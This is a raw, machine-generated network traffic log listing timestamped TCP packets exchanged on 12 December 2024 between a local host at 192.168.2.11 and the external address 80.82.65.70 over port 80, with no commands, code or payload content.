                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.975440025 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.975553036 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.979053974 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.979300022 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.979382038 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.982614040 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.982650042 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.982775927 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.986404896 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.986411095 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.986465931 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.989892006 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.989995003 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.990726948 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.993494987 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.993558884 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.993580103 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.993623018 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.997287035 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.997492075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.997556925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.000950098 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.001022100 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.001229048 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.004450083 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.004487991 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.004565954 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.008186102 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.008445024 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.008824110 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.011689901 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.011694908 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.012423992 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.087827921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.087956905 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.088068962 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.088068962 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.089224100 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.089818954 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.089986086 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.091336012 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.091553926 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.092777967 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.092870951 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.093013048 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.095038891 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.095145941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.095256090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.095256090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.098050117 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.098130941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.098262072 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.100995064 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.101058006 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.101300001 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.101300001 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.103832960 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.103873968 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.103935003 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.104263067 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.106791019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.106856108 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.106868982 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.107167959 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.109460115 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.109550953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.109555006 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.109616995 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.112026930 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.112116098 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.112195015 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.112195015 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.114842892 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.114905119 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.114958048 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.114958048 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.117419958 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.117429018 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.117543936 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.120027065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.120126009 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.120261908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.122545958 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.122632027 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.122720957 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.125047922 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.125154018 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.125224113 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.125224113 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.127649069 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.127768993 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.128348112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.130009890 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.130132914 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.130443096 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.130527020 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.132414103 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.132466078 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.132513046 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.134792089 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.134838104 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.134846926 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.134886026 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.137206078 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.137351990 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.137356997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.137417078 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.139530897 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.139609098 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.139667988 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.139947891 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.141902924 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.142026901 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.142030001 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.142136097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.144298077 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.144305944 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.144383907 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.146605968 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.146711111 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.146733046 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.146760941 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.148986101 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.148994923 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.149055004 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.151285887 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.151352882 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.151355982 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.151555061 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.153868914 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.153949976 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.153971910 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.154252052 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.155896902 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.156090975 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.156096935 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.156171083 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.158278942 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.158382893 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.158406019 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.158451080 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.160603046 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.160653114 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.161081076 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.161081076 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.163026094 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.163120031 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.163155079 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.163187981 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.165441990 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.165544987 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.165569067 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.165642977 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.167701960 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.167726040 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.167789936 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.170192957 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.170304060 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.170309067 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.170382977 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.172545910 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.172604084 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.172802925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.172802925 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.174745083 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.174901009 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.174966097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.175048113 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.176987886 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.177041054 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.177082062 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.177134037 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.179444075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.179486036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.179749966 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.181799889 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.181818008 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.182341099 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.184061050 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.184251070 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.184304953 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.184304953 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.186409950 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.186453104 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.186661959 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.186661959 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.188718081 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.188915968 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.188929081 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.188961029 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.191170931 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.191288948 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.191299915 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.191345930 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.193447113 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.193633080 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.193646908 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.194992065 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.195853949 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.195872068 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.196883917 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.198147058 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.198230028 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.198240042 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.198286057 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.200491905 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.200617075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.202503920 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.202857971 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.202959061 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.203357935 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.205183029 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.205303907 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.207331896 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.207331896 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.207550049 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.207743883 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.209814072 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.210575104 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.210575104 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.211330891 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.279778957 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.279865026 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.279987097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.279987097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.280587912 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.280785084 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.281290054 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.282416105 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.282490015 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.283992052 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.284090996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.284143925 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.284460068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.284460068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.285852909 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.286231041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.287349939 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.287720919 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.287779093 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.288539886 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.288539886 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.289318085 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.289434910 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.289602995 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.290971994 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.291034937 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.291306019 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.291306019 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.292681932 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.292819977 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.294295073 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.294426918 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.294567108 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.295332909 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.295332909 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.295917988 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.296013117 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.296087980 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.297494888 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.297590971 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.298307896 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.298307896 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.299066067 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.299149990 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.299212933 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.300582886 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.300631046 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.301734924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.302151918 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.302297115 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.302495956 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.302495956 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.303721905 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:26.303860903 CET804988280.82.65.70192.168.2.11
